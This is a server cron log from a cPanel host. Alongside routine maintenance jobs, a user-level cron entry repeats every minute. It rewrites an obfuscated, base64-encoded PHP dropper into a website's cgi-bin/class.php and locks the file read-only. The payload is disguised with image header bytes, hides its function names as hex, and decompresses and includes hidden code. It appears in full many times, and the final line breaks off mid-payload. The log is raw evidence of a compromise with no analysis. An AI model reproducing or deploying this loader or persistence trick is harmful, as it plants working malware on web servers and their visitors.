Sep  5 20:09:01 server CROND[5993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:10:01 server CROND[6385]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 20:10:01 server CROND[6387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:10:01 server CROND[6393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:10:01 server CROND[6392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:10:01 server CROND[6395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:10:01 server CROND[6390]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 20:10:01 server CROND[6391]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 20:10:01 server CROND[6394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:11:01 server CROND[7297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:11:01 server CROND[7298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:11:01 server CROND[7299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:12:01 server CROND[7677]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 20:12:01 server CROND[7679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:12:01 server CROND[7680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:12:01 server CROND[7678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:13:01 server CROND[8051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:13:01 server CROND[8052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:13:01 server CROND[8053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:14:01 server CROND[8491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:14:01 server CROND[8493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:14:01 server CROND[8495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:15:01 server CROND[8994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:15:01 server CROND[8995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:15:01 server CROND[9004]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 20:15:01 server CROND[9006]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:15:01 server CROND[9008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:15:01 server CROND[9009]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 20:15:01 server CROND[9011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 20:15:01 server CROND[9007]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 20:15:01 server CROND[9010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:16:01 server CROND[9926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:16:01 server CROND[9927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:16:01 server CROND[9928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:17:01 server CROND[10345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:17:01 server CROND[10346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:17:01 server CROND[10347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:18:01 server CROND[10734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:18:01 server CROND[10735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:18:01 server CROND[10736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:19:01 server CROND[11134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:19:01 server CROND[11135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:19:01 server CROND[11136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:20:01 server CROND[11627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:20:01 server CROND[11629]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 20:20:01 server CROND[11631]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 20:20:01 server CROND[11634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:20:01 server CROND[11637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:20:01 server CROND[11638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 20:20:01 server CROND[11633]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 20:20:01 server CROND[11632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:20:01 server CROND[11636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:21:01 server CROND[12497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:21:01 server CROND[12498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:21:01 server CROND[12499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7